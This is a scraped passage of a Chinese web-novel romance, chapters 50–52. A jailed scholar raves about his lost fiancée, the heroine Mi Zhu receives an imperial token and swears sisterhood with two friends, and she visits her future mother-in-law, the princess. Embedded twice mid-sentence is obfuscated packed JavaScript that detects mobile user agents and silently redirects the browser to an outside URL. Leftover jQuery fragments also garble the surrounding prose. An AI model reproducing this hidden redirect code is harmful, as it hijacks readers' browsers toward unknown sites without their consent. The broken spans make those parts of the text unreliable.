这些画面如此清晰,就像真的曾经发生过一样,可他又清楚地知道这一切并没有发生,脑中记忆与如今处境的对比,几乎让曲立封疯掉。 他失去了蜜珠! 命运本不该这样的。 蜜珠合该成为他的女人,陪着他一步步熬到他成为首辅的那一日,看着他出人头地。 曲立封在那发疯的时候,衙役脸色一顿,看他的眼神顿时像是在看傻子。 明明知县老爷都说了能放这书生离开,怎么这人跟不开窍一样,竟然还变本加厉的发疯了。 “曲公子,你睁眼看看这是什么地方,容不得你撒野放肆。” 衙役心思简单,只知道这是一个敬酒不吃吃罚酒的穷书生。他们知县老爷已经看在同是读书人的份上,特意给对方几分脸,让他兀自离开了。 可这书生竟然还敢蹬鼻子上脸,实在是好不知礼数。 就在衙役和曲立封纠缠的档口,一个拿着随身令牌的侍卫走了进来。 “罗知县何在?” 50.第 50 章 侍卫看着神情冰冷,随身有佩剑,一看就是贵人身边的护卫。 衙役一怔,立刻有其他人迎过去接见,侍卫亮出了令牌,就被迎到了后院罗知县休息的地方。 罗知县本打算小憩一会,昨夜他去的天香楼里那些个红颜知己,着实把他掏空的厉害,今日当差都有些熬不住了。 好在他是知县,衙门里头的老大,只要不撞上什么大人物过来,一亩三分地他还是能歇一歇的。 然而他今日才刚打发了衙役出去,就听外头传来了动静,没一会儿就有衙役领着一个生人面孔的侍卫进来了。 “罗知县何在。”侍卫走来时,自带一股威严感。 罗知县多会察言观色啊,立刻察觉了不对,一个激灵从自个儿的长椅上爬起来,上前去见礼。 “下官就是…”他拱着手上前,这会儿倒是一点没有身为知县的架子了。 开玩笑,能用这种架势来找他的侍卫,用脑袋想想都是大人物身边的亲信。 罗知县甚至还整了整自己的乌纱帽。 侍卫站在他面前时,将手中令牌掏出。 “听闻今日在长街上出现了一桩闹剧,竟有男子无故纠缠调戏良家女子。长公主和南宁王听到了都颇为震怒。” 罗知县心里咯噔一下,随即冷汗直冒。 糟了,他竟然忘了,长公主最为护短,昔年这位长公主可是很得先帝和明帝宠爱的,可以说是享尽了万千宠爱。 这样的一尊大佛,他竟然没想到要去避一避。 方才只想着帮一把同样身为读书人的书生了,完全忘记了那女子背后站着的是长公主这样的婆婆。 知晓自己差点办砸了事儿,罗知县几乎是惊骇地对侍卫拱手道。 “请长公主殿下和南宁王放心,下官绝对不会姑息任何作奸犯科之人!” 说完这话,立刻扭头对衙役使眼色。 “还不将那人收押!” 他是真怕方才衙役前脚已经把人放走了,那当着手持令牌的侍卫面,让他都不好交代啊。 幸好,曲立封因着脑海中莫名多了一些画面的缘故,情绪正处于癫狂中,说什么都不愿意离开衙门,正与其中一名衙役处在僵持中。 后院的衙役匆匆赶来,一个箭步过去将曲立封重新押住。 “快,快将他关起来。” 衙役之间互相使眼色。 曲立封回过神,只满腔愤怒。 他觉得一切都变了,一切都和命运本来应该发生的轨迹有了偏差。 “放开!你们竟敢如此!” 他是将来能当首辅的人!堪称一人之下万人之上! 如今竟然虎落平阳被犬欺,竟连一个小小衙门里的衙役,也都敢对自己不敬了。 一时间,曲立封竟然分不清眼前情境,和脑海中多出来的画面,到底哪一个是真哪一个是假了。 不管曲立封如何疾言厉色,衙役们还是手脚麻利地将曲立封关了起来。 罗知县满头是汗的跑来,对着旁观这一幕的侍卫不停点头解释。 “一定要让长公主殿下知道,下官兢兢业业办事,从来不敢有半点懈怠。” 一旁的曲立封,猛地回头,意识到站在这里的侍卫,约莫是哪个大人物的亲信,他似是想起了什么,忽的高呼。 “纵是陛下也不敢如此断案!蜜珠明明是我未婚妻,蜜府害怕圣上怪罪才隐瞒我与蜜珠之事!” 他是怎么也无法坐视蜜珠嫁给南宁世子的! 明明脑海出现的画面里,有蜜珠嫁给他夫唱妇随的一切,过去蜜珠对自己的温柔小意也全都记忆深刻,怎么就忽然变成了这样。 曲立封只怀疑老天是在戏耍他! 他奋力挣扎,红着双眼道:“南宁王府抢我未婚妻!就是到了阴曹地府,我也不服!” 众人只听对方的话越说越离谱,罗知县恨不得捂住自己双耳,装作什么都没有听见。 侍卫已经冷了脸,手一挥。 曲立封的哑穴被点住,登时发不出任何声音了,只能目眦尽裂做各种狰狞表情。 毕竟是个书生,被两个衙役一起押着,哪怕想要反抗,也没有什么力量,很快就被押送去大牢了。 侍卫站在原地看了会儿,那罗知县就不住低头擦拭额上的冷汗。 若早知道长公主这么重视那未过门的儿媳妇,他方才定然不会站在书生那一边的。 南宁王府本身并不可怕,可怕的是长公主代表着和陛下最亲近的兄妹之情,在关键事情上若是哭诉一下,陛下绝对不会拂了长公主的面子。 那么他们这些小虾米似的小官,就要变成遭殃的背锅侠了。 “还请长公主殿下放心,此人满嘴胡言乱语,还做出这等忤逆大令朝王法的事,下官绝对会好好惩治!” 罗知县不住保证,生怕这亲信侍卫回去之后,把今日听到的事说了,牵连到自己。 不论那叫蜜珠的女子,是否真的和那书生有什么前尘往事,都不是他一个外人小官能听得的。 贵人家的秘辛要是晓得多了,那颗在脖子上的项上人头可就不太稳了。 … 等蜜珠今日从白府离开时,就见门前等着一个侍女。 侍女一见到她,就轻声见礼道:“蜜姑娘,奴婢是长公主派来伺候您的。” 蜜珠愣神片刻。 侍女就轻声细语解释:“奴婢名叫夏草,长公主殿下听闻姑娘今日在街上遇到麻烦,便派奴婢来伺候您。奴婢会功夫,对付三五个男子不在话下,且奴婢身上还带了昔年先帝赐给长公主的令牌,遇到紧急事都能用上。” 站在蜜珠身后的蓄月,琢磨半晌,听懂了这全部意思。 长公主的确是个好婆婆,生怕未来儿媳再遇到事儿被欺负,便派来了侍女贴身保护,还把先帝御赐令牌也拿了出来,相当于给自家小姐准备了一把尚方宝剑——谁欺负小姐就斩谁的那种,还不用担心事后被追责。 回府的路上,蜜珠难得有些心虚。 她今日前脚才在街上遇见了曲立封,还将对方送到了官府,算是将此事捅到了天上。后脚从白府出来,就看到了南宁王府送来的贴身婢女。 做那件事的时候,其实是被逼到了墙角,只想出一口气,才会这么做。 但如今冷静下来,事后回想此事闹开之后,有可能牵扯到的人,蜜珠就莫名有点愧疚了。 若是长公主殿下不派侍女过来保护她的安危,而是过来责怪,她兴许不会有这种心理感受。 正是因为被善待了,才会愈发难受。 蜜珠是想保护自己,做一个刚强一点的女子,哪怕被人冠上泼妇的名头,她也不在乎。但若是因此而伤害到那些对她有善意的人,她心中就会过意不去了。 尤其是…等她到了府里后,夏草和她道。 “蜜姑娘,长公主和奴婢交代过,将这枚令牌给你。” 先帝赐下来的令牌,就这么一块,彰显着恩宠和权势。 哪怕是当今明帝在这块令牌拿出来时,都要给出几分恭敬,更别说其他人了。 蜜珠登时有些受宠若惊,下意识回绝道。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13683262|137955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我怎能收下这么珍贵的东西。” 开国皇帝御赐的令牌,放在一个家族中,想必是能被当成传承之物供起来的。 蜜珠想也知道,这样一块御赐令牌拿在手里,有多么烫手。 她虽然已经算是南宁世子未过门的妻子,但毕竟不还是没过门么。长公主怎么就能把这种家传之物给自己? 想着这个,蜜珠心中一时愧疚,脸都红红的,很是不知所措。 夏草端详着新主子的神色,瞧出蜜珠的拘谨并不作伪,心中登时对蜜珠更高看了几分。 长公主殿下固然很重视蜜姑娘没错,但这种事儿也讲个一来一回,若是对面的人太过于贪心,无论接受什么都理所当然,且没有半点反省,长此以往,付出的人心中也不一定舒服。 好在蜜姑娘并不是那种理所当然把好东西都扒拉到自己盘子里的人,反而因着接受了长公主的好意,整个人憋成了红红的苹果,瞧着怪可爱的。 夏草轻声道。 “来之前长公主便和奴婢说了,一定要把令牌转交给姑娘,若是姑娘实在不愿收下,那奴婢先随身带着,替您保管。” 这话又给出了一点空间,让蜜珠没那么不自在。 蜜珠嘴唇动了动,最终还是没说出什么,只轻轻点了点头。 见她这副模样,夏草便小心解释道。 “蜜姑娘不用担心,这御赐令牌也要看在谁手上,才能发挥出最大的功效。长公主殿下本就和陛下是亲生手足,哪怕没有这枚令牌,也不会受委屈。反倒是姑娘你,若是有个依仗,心里也能踏实点。” 这夏草瞧着怪会说话的,蓄月在一旁能看懂,对方是刻意这样说话,好哄自家姑娘放心。 反正不论对方话怎么说,意思的确是这样。 此事背后能看出南宁王府对大小姐的态度,这就足够了。 好说歹说,蜜珠终于不再那么不自在,但心底的愧疚之意,却是无声间多了两层。 她是那种旁人若是对她好上几分,就会想法子回报的人,无法就这么心安理得全部接受。 蜜珠曾经仔细思量过自己的这个性子,为何如此受宠若惊? 大概还是因着自幼在府上不出门,看着娘在爹手底下战战兢兢又温和的过日子,她便下意识觉得女子就该多受点委屈,且心中早就做好了这样的准备。 直至重生。 重生是一道闪电,将她身上过去的枷锁,劈了个干脆。 有些枷锁一瞬间就在闪电之下被挣脱了,但还有一些枷锁却始终存留着,以一种不能被肉眼直接看到的形式。 比如说自卑,那种遇到了有人好好待你,就下意识想躲闪的心理。 蜜珠不知道这些想法,娘有没有,大概就是有了,娘也不以为意,早就习惯。可她却不想习惯。 若命运果真有既定的轨迹存在,那么决定命的方式是什么呢。 应是人生来先天的性子吧? 一个人的所思所想,遇到事情后下意识的反应行为,这些东西构成了人的境遇。 她想在自己能看到的地方,将所有不想要的性子都改了。 她不愿做畏畏缩缩永远被困于后宅,只能像豢养的宠物那般接受点投喂,就满足的人。 蜜珠打定主意,明日从月夫人那回来后,就去一趟南宁王府上,去见见长公主。 去见一个贵人,还是自己未来婆婆,按蜜珠以前的性子,定是怕的。然而今夜这般想着,竟然还生出了几分勇气。 ——她敢做从前不敢的事儿了,这就是进步。 51.第 51 章 月夫人今日见到了三个姑娘,分别提了几个问题,考了她们一番。 蜜珠和白豆蔻都答的流畅,明显是下了功夫的。无论是穴位图,还是相应的药草用法,都记得很清楚。 姜芊则有些磕巴,一边回答,眼睛一边咕噜噜转。 月夫人定睛看了她一会儿,示意回答完的姜芊坐下。 “我要教你们的第二课便是结交真心的朋友。” 蜜珠三人都认真瞧着月夫人,有些诧异她说的话。 月夫人则轻笑一声,脸上细纹都显得和蔼了几分。 “你们以为我教你们的,全是那些个不通人情的规矩,要把你们变成框在格子里的提线木偶?” “独木难支,无论在哪儿都是这个理。等你们往后成了一家主母的时候就明白了,人来人往都是靠个利字,但若是只有利在其中,人活得也未免太可怜,关系也过于浅薄。” “须知,随着你们成家,经历的人和事儿越多,用出的真心就不可避免的越少。倘若年少时不交几个真心的朋友,再到后来想要去交,心也做到赤诚相待了。若真那样,年岁越是往上,心中的寂寞孤独感就越多……” 说到后面时,兴许是触动了真心,原本眼神还显得有几丝锐利的月夫人,忽然柔软下来,变得有些感伤。 “在你们来之前,其实我对你们都已经有所了解。我收学生并不只是看家世背景,还要看本心,若是晓得你们不是一路人,我也不会将你们同一批收到府上当学生。” 月夫人语气带上了笑,眼底甚至现出了几丝调皮气息。 蜜珠却是从月夫人的话里,听出了言外之意。 感情她和白豆蔻还有姜芊二人之间的友情,月夫人也是看在眼里? 三人都不是笨的人,在一怔之后,都看向月夫人,像是要等一个答案。 ——难道月夫人早就知道,她们三人作为同一批学生一定会走到一块儿? 月夫人却只是笑笑,并不正面回答这个问题,好一会儿,才端起茶盏来,幽幽啜了一口,才道。 “我并没有这么神机妙算,你们之间若是能谈得来,那自然是好事,但若不能,我也不强求。须知人与人之间的因缘际会,不是算计得来,而要自然而然。若是你们有缘且合得来,哪怕不在我这里相识,也总有其他的机会相见,只是那时候,便是其他的一种情境和故事了。” 望着坐在下方的三张青涩脸蛋,月夫人顿了顿,又道。 “我能做的只是在今日给你们灌输这样一种信念——你们能在此地相识,彼此之间是有机会去做坦诚相待,在遇到困难时互相帮助的姐妹的。日后若是回想缘分最初诞生的时候,想到我月夫人,对彼此的信任能多上一分,也是好的。” “十年二十年时光啊,是弹指就过。” 说着这些,月夫人在看三人时,目光染上了几丝鼓励。 “你们三人,将来若是婚配,也约莫都留在京城的贵人圈子里,跑不到其他地方。倘若从这里走出去后,你们三人都能姐妹一心,你帮我我帮你,日后若是真的遇到了什么困难,有着这份真心的姐妹情在,也不会难到绝境。” 大概是因着长者总是经历很多,而月夫人又是从宫中出来,见过了许多人情冷暖,就连世家的兴起和衰亡,也都看了个透彻。 于是她说出这样一番话时,不免让人感受到其中蕴含的深厚情感,心中生出许多唏嘘。 蜜珠下意识抬眸看向姜白二人,却见白豆蔻也看了过来,两人眼神对视刹那,都笑了笑,莫名有种遇到了知己的感觉。 姜芊则是一拍桌子,忽然喊了出来。 “月夫人一番苦心我听明白了!既然如此,我们三人何不义结金兰!” 姜芊这一拍,用了好大的力气,桌上的茶盏都发出了清脆的碰撞响。 她拍完之后,就龇牙咧嘴收回手觉得疼。 一旁的丫鬟忙凑过来给她吹吹手掌,埋怨自家小姐太过于粗莽,不小心伤到了手。 但姜芊哪怕手拍疼了,注意力依然在方才自己提到的话题上。 她瞪大了眼睛,看看蜜珠,又看看白豆蔻,显然很期待自己的话题得到同意。 蜜珠抿了抿唇,心脏砰砰跳,莫名觉得自己像是落入到了一个英雄豪杰现场结拜床江山的话本里,有种不可思议感。 往前翻十五年,再加上上辈子的那几年,蜜珠一直过的是那种谨小慎微,把自己当成卑微又文静小人物的日子。 哪里想到,如今还会有人要和她结拜。 月夫人挑起唇角笑,用帕子捂着唇,坐看这些小辈们的反应。 慈姑作为月夫人身边最得力的管家,几十年来跟着月夫人经历了多少风风雨雨,几乎能第一时间明白主子的想法。 看月夫人在这样的场合,并不开口驳斥姜芊的提议,就知道月夫人对让三人“义结金兰”的事儿,也是乐见其成的。 这让慈姑莫名想到了主子年幼时的场景。 曾几何时,主子也是在这种青涩单纯的年纪,交到过最好的姐妹… 只不过几十年的时光,足以冲散人心,也把人当初的命运和诺言也都冲散了… 慈姑回忆起当初,再看蜜珠等人时,就多了些希冀。 希望这些年轻的姑娘们,能够明白,并不只有财帛利禄、前途姻缘、还有夫婿子嗣才是重要的东西。女子与女子之间互帮互助的情谊,有时也是可遇不可求,但又能让人支撑一生,在许多关键时刻让人走下去的。 气氛只是沉默了一小会儿,白豆蔻第一个应声。 “能有和二位姐妹义结金兰的机会,我求之不得。” 有了第二个人应声,姜白二人登时就扭头看向唯一没有开口的第三人——蜜珠。 就连月夫人和慈姑,连同蜜珠三人带来的丫鬟,也都眼睛亮亮地瞅着蜜珠。 一屋子里的眼睛,好几双全都落在蜜珠脸上,瞅得她抿着唇,偏开了目光。 “我自然也是求之不得,极为乐意的。” 这是蜜珠的心里话,也是实话。 姜芊一听就乐了,都忘了自己方才激动之下拍红拍疼的手掌,从椅子上一跃而起,拉着蜜珠和白豆蔻的手,走到月夫人跟前,笑呵呵道。 “既然我们三个都同意结拜为姐妹,今日就请月夫人和慈姑当个见证如何?” 姜芊向来都是行动力更多一些,蜜珠和白豆蔻则显得被动些许,但这三人却似是形成了某种互补。 只要有人牵头提出了某个提议,另外两人就能立刻跟上。 月夫人一改先前有些严肃的模样,此时笑容极为灿烂,像是透过蜜珠三人的模样,看到了曾经心心念念无法忘记的某段美好记忆,眼神都像是在看故人一般感慨慈祥。 “好,好,好啊。既然你们三人都愿意,我就和慈姑做这个见证。” 月夫人抚掌而笑,慈姑也跟着露出了欣慰笑容。 “慈姑,你去准备结拜的东西。” 慈姑脚下生风,步伐轻快地出去了。 蜜珠的两只手,被姜芊和白豆蔻一人一只牵着,也不知道为什么,在心房有种酸酸胀胀的感动。 她既想笑又想哭,感觉从未和人的心如此近过。 义结金兰是多神圣的事情呀。 话本里的好汉们但凡结拜为兄弟之后,总是有福同享有难同当的。 很快慈姑就领着三人到了香烛面前,还准备了一根小金针,刺破三人手指,取了一滴血放到碗里融合,又倒了点酒。 这辈子蜜珠还是头一次饮酒呢。 在这样的氛围下,就连刺破手指都感觉不出疼了。 姜芊更是咯咯笑了出来:“来日你我三人若是回想今朝,该多有意思。” 白豆蔻平日性子是温婉又不爱多言语的,此刻神态也显得格外舒展放松,一双眉眼弯弯的,看着愈发平易近人了。 “你我三人按照年岁来看,往后我便是大姐了。” 蜜珠露出梨涡笑:“那我便是二姐。” 姜芊一下将两人都抱住,开心地跳了几下。 “我是小妹!” 三人挤成了一团蹦蹦跳跳,换成平时,月夫人会让她们保持仪容,不能丢了世家贵女的风范,此刻却只做没看见,并不出言呵斥。 慈姑也在一旁笑得温和。 这里难得有一种类似过年的喜庆感,热闹到令人觉得温暖。 三人就连义结金兰时,喝下那碗酒的姿态都不一样。 白豆蔻是用袖子遮挡着脸,虽然酒的味道比较辛辣,但她还是姿态端正地将其中酒水一饮而尽了。 姜芊显得豪迈一些,捧着酒碗,冲一旁的丫鬟眨眨眼,大有一种“快看姑奶奶多厉害”的意思,也是一口闷完。 姜芊的贴身丫鬟顿时被逗得忍俊不禁,差点笑出声来。 蜜珠两辈子加起来喝酒的次数屈指可数。 尤其是这么烈性的酒,不知是不是因为里面混了三人血的缘故,喝到口中口感格外奇怪。不好酒的人,便是喝到了绝世的美酒佳酿,也还是苦着脸,尝不出什么好味道的。 但蜜珠不想露怯,于是也努力装出豪迈的样子,想要一口饮尽,结果差点呛住,一双柳眉都蹙起来了,却还硬着头皮继续喝。 白豆蔻和姜芊二人都喝的比她快,两人举着空碗回头一口,只有蜜珠还两只手捧着碗,正努力咕嘟咕嘟。 能看出来很努力了。 嗓子眼里的还没咽下去,腮帮子里就又装满了酒,像只落在了酒仓里的小仓鼠,瞧着有种憨态可掬的萌。 姜芊和白豆蔻看着这样的蜜珠,脸上都现出了笑容。 等到蜜珠好不容易吨吨吨好几口喝完烈酒,嗓子眼里都是辛辣,来不及去感受,抬眸去看众人,却正好和四周几人的眸光对上。 蜜珠:“…我喝完了。”所以,大家为何都看着她。 白豆蔻抿唇轻笑,姜芊走过来,靠在蜜珠肩上笑塌了腰。 “蜜珠姐姐,你好可爱啊 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姜芊缠了蜜珠一阵,见说服不了她,只能叹口气接受小妹的身份。 “行行行,我是小妹,你是二姐,豆蔻是大姐。”说完她看向白豆蔻,在对方温和带笑的目光里,忽的想到了蜜珠的婚事。 她和大姐的出身都还不错,至今没有定下婚约,想必族中也不会随便把她们的婚事应付着解决。所以明明蜜珠是她们三人中最好看的,却最命苦。 姜芊瞅着蜜珠的脸,又想起对方的未来夫婿,心中默默决定。 ——将来一定要好好扶持蜜珠姐姐,尽可能多给对方撑腰。 哎,多好的二姐啊,偏偏配的是那样一门婚事。 蜜家老头不中用,一点都不爱惜女儿。若是她姜家被配了这么一门婚事,照她对家中长辈的了解,爹哪怕是拼着被责罚,也要和陛下求情免了赐婚的。 也就是蜜珠家中没有当大官的长辈,五品小官好拿捏,料定了对方拒绝不了,也不敢拒绝,才会有这么一桩安排。 就是苦了蜜珠了。 从前姜芊对蜜珠了解的少,倒是也没什么感触,可今时不同往日。 如今在旁人眼里当成闲谈的那个姑娘,已经成了自己的二姐,姜芊就无法和从前一样笑着看这件事发生,她甚至牙痒痒,心里有些恨。 蜜珠他爹不中用,听到婚事要成竟连点反抗都没有,昨儿还听说蜜珠在街上,被一个昔日认得的男子纠缠。倘若她是蜜珠家中长辈,在事情没成定局之前,定要再折腾一番,总之不能那么轻易就把这么好的一个女儿送去南宁王府守活寡。 嫁给南宁世子和守活寡有什么区别,谁愿意要这么一个命不久矣的傻丈夫。 将这事儿放在了心里后,姜芊就觉得回头有必要和豆蔻姐姐说一说。 她们作为蜜珠的姐妹,得为她做点什么。 今日从月夫人这儿离开时,蜜珠瞧着天色,本想去南宁王府的。 可坐到了轿子里,才发觉自己脑袋晕乎乎的,今日喝的那碗酒,烈度挺高,她不太胜酒力。 夏草今日是跟着蜜珠一起出门的,见自己的新主子神情有些恍惚,联想到蜜珠今日饮过酒,她轻轻掀开轿子帘子,从一旁轻声道。 “主子,您要不要试试这个?” 她从袖子里递过去一个小小的瓶子。 蜜珠不解这是什么,一旁的小柳儿动作麻利地接过瓶子,帮着拧开,还低头嗅了一下,然后打了个哆嗦。 蜜珠瞧着小柳儿的反应,有些好奇。 “你怎么了?” 小柳儿回过神来,揉了揉鼻子道。 “这个瓶子里的东西,怪提神的,很清凉。” 外头的夏草这才轻声解释道。 “主子可以将它倒出来一些,抹在太阳穴附近。可以缓解疲惫、乏累,起到提神作用。” 蜜珠喝了酒之后,脑袋就一直晕乎乎的,听了这话不由起了好奇心。 她按着夏草的吩咐,将瓶子里的液体倒出来一点,而后轻轻抹在太阳穴。 果真一股清凉之意渗入了皮肤,两只眼睛都变得明亮了一些,整个头皮都舒展开,被刺激的一激灵。 而且这瓶子里的液体,还有一股特别的香味,淡淡的馨香,却不刺鼻。 “有用。”蜜珠有些惊奇。 “这是何物?”她好奇问夏草。 夏草就笑了:“是府里的太医研究的小东西,主子喜欢,回头奴婢再去多拿几瓶。” 听见这是南宁王府里才有的,蜜珠忙收住了话头。 “不必不必,这一瓶都有许多,用不完。平日里也不喝酒,用不着的。” 她实在是怕夏草回去,然后真的要好几瓶过来。 她人还没和南宁世子成亲,就已经得到了那么多王府的好东西,令她愧疚到不行。 52.第 52 章 夏草见蜜珠反应这么激烈,便也没有再说什么,只是心中记住了主子喜欢这种香油瓶。 既然精神起来了,蜜珠就不打算耽搁了,让轿夫改变方向朝南宁王府去。 上次去探望南宁世子,还是和娘一起,这次却是她自个儿坐着顶小轿去,这心里还有些忐忑。 夏草看出蜜珠情绪,等到了南宁王府大门处,扶着她下轿子时,轻声安慰道。 “主子不用怕,长公主殿下性子温和,并不是那等刻薄之人。况且主子您瞧着就令人心里欢喜,没有谁舍得为难你。” 不仅如此,王府里头的几个人可都对主子充满欢迎。 就连晚莲郡主也在先前和主子有过一面之缘后,就一直对她念念不忘。 长公主殿下对主子更是充满袒护。 这在夏草看来,也是极为难得的。 南宁王府一共就三个女主人——老夫人、长公主、小郡主。 女子若是嫁人后,其实反而与婆婆相处的日子更久一些。若是丈夫长年在外,或是白日里不在家,那婆婆性子如何,决定了将来婚后日子是否好过。 难缠的婆婆和小姑子,是最让人头疼的了。 偏偏南宁王府的两个女主子,都对蜜珠充满好感和善意。 而唯一一个从来没和蜜珠打过交道的李老夫人,因着出身的缘故,性子略显孤僻一些,在王府里其实不大管事。 这么多年里,甚至没用作为婆婆的身份,去压过长公主体现孝道。 李老夫人和长公主这些年,基本上处于一种井水不犯河水的状态。 夏草看在眼里,不由对蜜珠将来加入这个家族,会起到什么反应颇有兴趣。 从门里进去后,就有人已经在等了。 长公主身边的常嬷嬷,略有些发福,腰身瞧着很粗壮,但却反倒显露出一种别样的旺盛生命力,比起单薄的年轻女子更有可靠感。 “蜜姑娘来了,长公主得了信了,便让老奴在这儿一早候着。要不是担心姑娘不自在,得让人亲自来接。” 上次常嬷嬷送太医和一众珍贵药材来的时候,就和蜜珠说了不少话。 兴许是因着那会儿蜜珠在病中,对于人的善意和关怀,体会就更加真切。 如今病好了,骤然又看见常嬷嬷,心里竟生出了一种看到了故人的亲近感来。 “常嬷嬷辛苦了。”蜜珠抿唇,态度明显亲和放松了一些。 她脸蛋巴掌大,但是鹅蛋脸,五官分布精巧,一双乌黑眼瞳极水润,放松时,唇角的梨涡就会明显的漾出形状。 常嬷嬷是跟在长公主身边的老人了,在后宫里什么美人没见过。 能被纳入到后宫,跟在帝王身边的妃子们,便是想找个相貌平平的都难,环肥燕瘦各有千秋,只会让人看花了眼。 但这双经历过那么多美人洗礼的眼睛,在瞧见蜜珠对自己温柔笑时,心里还是哎哟一声想感慨——这姑娘长得可真动人啊。 水灵、娇嫩、有灵气,偏偏笑起来还特温柔亲和,让人打从心眼里就喜欢。 在长辈们看来,蜜珠虽然容貌秀美出众,却不是那种会令人觉得妖艳到蛊惑人的,反而觉得就像自家小辈一样,想多呵护一下。 “今日去月夫人府上了?姑娘累了吧?” 常嬷嬷笑着开口,引着蜜珠去花园那儿。 花园那一块有长廊和刚架好的秋千,知道蜜珠要来,长公主已经提前让人在那布置了一番,准备好了果盘。 蜜珠边走边耐心回答:“不累的。” 在姜芊和白豆蔻她们面前,蜜珠偶尔能让自己表现出热情的样子,多说点话。 但不知为何,到了常嬷嬷这等饱经风霜的老人跟前,却反而拘谨起来,不知道该说什么了。 但至少她能感觉到,常嬷嬷是对她怀着善意的。 她只是…心中觉得亏欠南宁王府,便下意识拘束起来。 常嬷嬷和蜜珠打过几次交道后,约莫明白了她是个什么样的性子,见蜜珠话少,也就只笑笑,并不刻意找话题让她不自在。 反正天长日久着呢,等到将来蜜姑娘进门了就晓得了。 他们王府虽说是个权贵人家,但却没有那么多旁人家的繁琐规矩,反而更见真心。 这京城里头啊,也不是人人都能享着荣华还能不忘记初心的。 蜜珠跟着常嬷嬷走了一阵,到了赏荷的池塘边才发现,凉亭里坐着一对母女。 正是上次见过的长公主和晚莲郡主。 似乎因着不是初见了,蜜珠暗暗深吸一口气,倒是没有太紧张。 “蜜珠!”晚莲郡主今日一席嫩黄色的长裙,瞧着颜色就明媚。 老远看到了蜜珠过来,就已经忍不住站起来挥手。 长公主在一旁,捏着帕子按了按唇,眼里带笑。 当初皇兄说给她们家华宣定下了一门婚事,她起初第一反应还是不满意,觉得皇兄是在乱点鸳鸯谱。 不曾想,竟真让皇兄点到了这么一只好鸳鸯。 瞧着蜜珠袅袅婷婷走来,长公主都觉得像是在观赏一幕好看的画。 她历来就是喜欢美人的,当初嫁给南宁王,不就是因着对方有一副好颜色么。而今看到蜜珠,两次照面都忍不住为她天生的美人容颜而动容。 “怎么直呼其名,这是你未来嫂嫂。” 长公主见女儿过于兴奋,忍不住开口。 华静莙听了这话,不服气道。 “我这是为了表明亲近。” 她还没有手帕交呢。有这么好看性情又温柔的未来嫂嫂,只想和对方当好朋友。 长公主便不说话,只看着她。 被盯着看了一会儿,眼瞅着蜜珠快过来了,华静莙终于闷闷道。 “好嘛,我知道了。我会对嫂嫂敬重的。” 娘到底是从皇宫里出来的,重视礼节,便也这样要求她。 但华静莙心里明白,这是因为兄长的情况特殊,未来嫂嫂莫名多了这么一桩婚事,心底里兴许是委屈的,所以更加需要他们这些婆家人,多给一些关怀,让未来嫂嫂心里热乎乎的,不至于太过于心寒。 反正,等到未来嫂嫂真的嫁过来就知道啦。 痴傻病弱的夫君,其实并不比京城里任何世家公子差。 长公主得了女儿的保证,脸色缓和,重新展露和蔼笑容。 “娘知道你是懂事的,也不反对你把未来嫂嫂当成好朋友,只是你得记着,和人家相处时,不能太过于小性子,显得欺负人家,明白么。” 长公主都说到这个份上了,华静莙哪里还不晓得,娘是怕自己喜欢蜜珠当手帕交,只是一时兴起,等到兴头过了,就借着郡主的身份给人家难堪。 所以让她记着蜜珠是未来嫂嫂。 两人话说到这里,蜜珠也跟着常嬷嬷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13707123|137955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了近前。 跟着蜜珠一起进来的,除了常常在身边寸步不离的蓄月和小柳儿,便还有夏草。 蜜珠此次来,心里也有自己的想法。 于情于理,她觉得昨日在街上和曲立封的事儿,要给长公主解释一番。 否则她自己心里难安。 走到凉亭边坐下时,蜜珠才发现桌子上已经摆满了果盘和饭菜,俨然是一顿只属于她们几人的小宴席。 坐在凉亭,可以直观看到四周荷叶与莲花,风一吹来,能听到竹子沙沙作响的声音。 蜜珠这才发觉,她已经很久没有静下来细细看风景了。 她看着四周景色,长公主和华静莙也都静静看她。 两人都在这姑娘身上瞧出一种奇妙的感觉——从她注视凉亭以外一花一草的眼神,发觉他们所住的地方原来这么美。 人通常对于生来就有的东西,并不那么看重。 理所当然拥有着,便就习以为常,不再能发自内心地欣赏。 好一阵,蜜珠回过神来,就见汉白玉桌旁的长公主二人,都正看着自己。 她一怔,脸上流露出羞赧之色。 “…方才见景色太美,不小心看入神了。” 实在是有些失礼。 见她这么说,华静莙凑了过来,笑容灿烂道。 “以前我都没觉得这儿有多美,但今日见到蜜珠姐姐看得这么入神,我才醒悟过来,我们过去空有宝山却不自知。” 长公主也跟着展露笑颜。 “蜜姑娘尝尝这个花酿。” 一旁的侍女刚刚端上三杯花酿,蜜珠闻言,拿起自己的那一杯,低头轻轻啜了一口。 淡淡的甜香在嘴里化开,且后劲儿有种醇厚的味道,让人联想到酒。 却不像是她今日义结金兰时,喝的那种烈酒一样难入口。 它尝起来口感清香,但又有点后劲,是那种哪怕闺阁里的姑娘们也能喜欢上的口感。 “好喝。”她喝完之后,迟疑片刻,给出了评价。 其实是想多说点什么夸夸的,但是词穷,而且越是关键时候,越是说不出话。 先前遇到江湖悍匪无名拦马车时,她还能说出点什么顶个嘴,而今在这些同为女子的长辈面前,蜜珠就是张不开口,不知道该讲什么。 兴许她骨子里依然存着点畏怯,对于权势,对于陌生的人。 看出蜜珠的几丝不自在,长公主只笑笑。 